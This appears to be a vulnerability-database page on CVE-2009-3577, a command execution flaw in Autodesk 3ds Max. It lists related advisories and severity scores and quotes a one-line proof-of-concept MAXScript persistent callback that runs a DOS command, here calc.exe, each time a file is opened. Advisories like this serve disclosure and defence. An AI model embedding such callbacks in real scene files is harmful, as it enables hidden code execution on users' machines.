Autodesk 3ds - Max Application Callbacks Arbitrary Command Execution
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
 | Autodesk 3DS Max Application Callbacks Arbitrary Command Execution | 23 Nov 200900:00 | – | zdt |
 | CVE-2009-3577 | 23 Oct 200900:00 | – | circl |
 | Autodesk 3DS Max Application Callbacks Arbitrary Command Execution | 23 Nov 200900:00 | – | coresecurity |
 | CVE-2009-3577 | 24 Nov 200917:00 | – | cve |
 | CVE-2009-3577 | 24 Nov 200917:00 | – | cvelist |
 | Autodesk 3DS Max Application Callbacks Arbitrary Command Execution | 23 Nov 200900:00 | – | exploitdb |
 | EUVD-2009-3558 | 7 Oct 202500:30 | – | euvd |
 | CVE-2009-3577 | 24 Nov 200917:30 | – | nvd |
 | Core Security Technologies Advisory 2009.0909 | 23 Nov 200900:00 | – | packetstorm |
 | Authentication flaw | 24 Nov 200917:30 | – | prion |
10
source: https://www.securityfocus.com/bid/36634/info
Autodesk 3ds Max is prone to a vulnerability that lets attackers execute arbitrary commands in the context of the vulnerable application.
This issue affects the following:
3ds Max 6 through 9
3ds Max 2008 through 2010
Other versions may also be vulnerable.
The following proof-of-concept code is available:
callbacks.addScript #filePostOpen ("DOSCommand(\"calc.exe\")") id:#mbLoadCallback persistent:trueData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
09 May 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.05086